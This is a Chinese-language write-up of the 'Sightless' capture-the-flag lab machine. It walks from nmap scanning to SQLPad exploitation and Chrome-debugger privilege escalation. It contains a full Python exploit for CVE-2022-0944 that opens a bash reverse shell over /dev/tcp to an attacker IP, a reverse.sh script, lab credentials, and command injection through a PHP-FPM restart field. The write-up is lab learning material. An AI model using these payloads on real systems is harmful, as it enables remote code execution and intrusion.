nmap

nmap 10.10.11.32 -sCV -p 21,22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-28 02:10 EDT
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 02:11 (0:00:13 remaining)
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)                                                               
80/tcp open  http    nginx 1.18.0 (Ubuntu)                                                                                      
|_http-title: Sightless.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=10/28%Time=671F2AFC%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x2
SF:0Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x2
SF:0try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\
SF:x20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.90 seconds

开启了ftp,尝试匿名登录看一眼:

└─# ftp 10.10.11.32                   
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:root): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.

登录不了,看一下网页:

SQLPad

SQLPad is a web app that lets users connect to various SQL servers via a browser. Click “Start Now” to try a demo!

我勒个sql,进去看一下,到处点点点,在access下可以看到有一个user:

john@sightless.thb

搜索sqlpad的漏洞,只有一个rce:

sqlpad-rce-exploit-CVE-2022-0944/exploit.py at main · 0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944

import argparse
import requests

def main():
   
    parser = argparse.ArgumentParser(description="CVE-2022-0944 RCE Exploit")
    parser.add_argument('root_url', help="Root URL of the SQLPad application")
    parser.add_argument('attacker_ip', help="attacker ip")
    parser.add_argument('attacker_port', help="attacker port")
    
    args = parser.parse_args()

    target_url = f"{args.root_url}/api/test-connection"

    payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/{args.attacker_ip}/{args.attacker_port} 0>&1\"') }}}}"

    headers = {
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }

    #POST data (JSON body of the request)
    data = {
        "name": "test",
        "driver": "mysql",
        "data": {
            "database": payload
        },
        "database": payload
    }

    try:
        response = requests.post(target_url, headers=headers, json=data)
       
        print(f"Response status code: {response.status_code}")
        print(f"Response body: {response.text}")

        if response.status_code == 200:
            print(f"Exploit sent successfully. Check your listener on {args.attacker_ip}:{args.attacker_port}")
        else:
            print(f"Exploit sent, but server responded with status code: {response.status_code}. Check your listener.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

根据代码来看是在创建数据库连接的时候有一个RCE。wp中给的这个网址蛮有意思的:

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fbhttps://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

有很多外网的博客文章,看起来很不错

payload : database

{{process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/10.10.16.6/9001 0>&1\"') }}

如果只填database,会显示连接被拒绝,修改连接的数据库地址为127.0.0.1也显示被拒绝,填本机vpn的ip显示连接失败?这里我们选择换一种反弹方式,通过上传脚本来反弹:

reverse.sh:

bash -c "bash -i >& /dev/tcp/10.10.16.6/9001 0>&1"

不知道为啥,通过下载脚本再运行的脚本这招走不通,只好直接运行脚本成功反弹shell。

很奇怪没有flag,看了下wp是因为在容器里。wp尝试去爆破shadow文件的密码

得到michael:insaneclownposse

后面的也不懂,先照着wp学习:

设置 Chrome 远程调试端口_–remote-debugging-port=9222-CSDN博客

[谷歌浏览器远程调试功能 - Rannie` - 博客园](https://www.cnblogs.com/kai-/p/15701042.html)

ps -aux看到谷歌开启了远程端口调试

ssnetstat 的替代工具,速度更快,功能更强大。使用以下命令查看监听端口:

ss -tuln
或者
netstat -tuln

看见开启了8080

michael@sightless:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:42075         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:35863         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:32805         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::21                   :::*                    LISTEN     
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*       

这里可以使用ssh的端口转发:

ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32

然后:Chrome Remote Debugger 渗透测试 |漏洞利用说明

这里设置的–remote-debugging-port=0,代表使用随机高端口,查看进程所使用的端口:

1. 使用 lsof

lsof(List Open Files)是一个非常有用的工具,可以列出所有打开的文件及其关联的进程。要查看某个进程占用的端口,使用以下命令:

bash


复制代码
lsof -i -P -n | grep <进程名或PID>

<进程名或PID> 替换为你要检查的进程名称或进程 ID。例如:

bash


复制代码
lsof -i -P -n | grep 1234

2. 使用 netstat

可以通过 netstat 命令查看端口与进程之间的映射关系:

bash


复制代码
netstat -tulnp | grep <进程名或PID>
  • -p: 显示进程标识符和程序名称。
  • -n: 以数字形式显示地址和端口号。

3. 使用 ss

ssnetstat 的替代工具,可以更快地显示 socket 连接信息:

bash


复制代码
ss -tulnp | grep <进程名或PID>

4. 使用 fuser

fuser 命令可以用来查找占用特定端口的进程:

bash


复制代码
fuser <端口号>/tcp

例如:

bash


复制代码
fuser 80/tcp

5. 使用 pidofnetstat

如果你只知道进程名称,可以先找到它的 PID:

bash


复制代码
pidof <进程名>

然后使用 netstatss 查看该进程占用的端口:

bash


复制代码
netstat -tulnp | grep <PID>

bash


复制代码
ss -tulnp | grep <PID>

通过这些方法,你可以找到某个进程占用的端口。

很奇怪,查不出来


==这道题后面要利用谷歌浏览器漏洞的漏洞,但kali一直安装不上。由于培训期间不太方便调各种配置以及各种原因考量先暂时不打这个靶机了。==

粘贴wp:

首先,在 Michael 的计算机上运行以列出所有活动的网络连接和侦听端口。识别所有打开的端口并转发除只有两位数的端口之外的所有端口。netstat -tnlp

使用以下 SSH 命令为每个已识别的端口设置端口转发:

ssh -L 42253:127.0.0.1:42253 michael@10.110.192.10

将所有相关端口添加到命令中。

接下来,打开 Google Chrome 并导航到 。单击“配置”并将每个端口添加为 ,重复此步骤,直到出现连接。看到连接弹出窗口后,单击“检查”以打开一个新窗口。chrome://inspect/#devices``127.0.0.1:<port_number>

在这个新窗口中,切换到“网络”选项卡并等待 Michael 登录。监控流量并找到以查找访问登录门户所需的凭据。使用这些凭证登录。index.php``127.0.0.1:8080

admin:ForlorfroxAdmin

登录后,导航到“PHP”部分,然后转到“PHP-FPM 版本”并创建一个新版本。在 PHP-FPM restart command 字段中,输入以下命令:

cp /root/root.txt /tmp/root.txt

保存配置,然后转到 。禁用 PHP-FPM 并保存更改,然后重新启用它并再次保存。这将触发 copy 命令的执行。http://127.0.0.1:8080/admin_settings.php?start=phpfpm

验证文件是否已复制到 。root.txt``/tmp

要继续,请重复相同的过程,但将命令替换为:

chmod 644 /tmp/root.txt

最后,读入文件的内容以获取必要的信息。root.txt``/tmp